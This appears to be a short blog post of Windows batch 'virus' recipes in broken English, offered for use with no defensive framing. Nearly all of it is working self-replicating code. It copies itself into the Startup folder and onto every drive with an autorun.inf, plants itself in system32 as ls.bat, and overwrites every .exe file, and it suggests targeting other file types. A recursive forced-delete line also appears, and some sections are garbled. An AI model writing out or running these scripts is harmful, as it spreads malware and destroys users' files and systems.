The all bat
virus. Infect all formats
Ø
Infect
Startup Folder.
This type bat virus is infecting startup
folder. That virus is copy in startup folder
That code is following bellow
copy %0 "%userprofile%\Start
Menu\Programs\Startup"
Ø
Infect
All Drives.
This virus is infecting the all drives in
System
This code is save in “.bat file” like
drives.bat
for %%E In
(A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) Do (
copy /Y %0 %%E:\
echo [AutoRun] > %%E:\autorun.inf
echo open="%%E:\%0" >>
%%E:\autorun.inf
echo action=Open folder to see files...
>> %%E:\autorun.inf)
Create “autorun.inf” file that file is use
for run the automatically
Ø
Infect
All Folders
This virus is infecting the all drives in
System
rem Dir %SystemRoot% /s /b > PathHost
Del /f /s /q PathHost > Nul
Ø
Infect
CMD
This bat file is infect (CMD) Command
prompt
rem Infect "ls" Cmd
copy %0 %windir%\system32\ls.bat
Ø
Infect
particular File
This bat file is infect .EXE file. Example
:-( setup.exe)
rem Infect All .Exe Files
assoc .exe=batfile
DIR /S/B %SystemDrive%\*.exe >>
InfList_exe.txt
echo Y | FOR /F "tokens=1,* delims=:
" %%j in (InfList_exe.txt) do copy /y %0 "%%j:%%k"
If
you won’t to infect mp3 file. then Replace ‘.exe’ to ‘.mp3’
That
way you infect any file like (‘.txt’,’.pdf’,’.mp4’,’.java’,’.vb’) and so on
No comments:
Post a Comment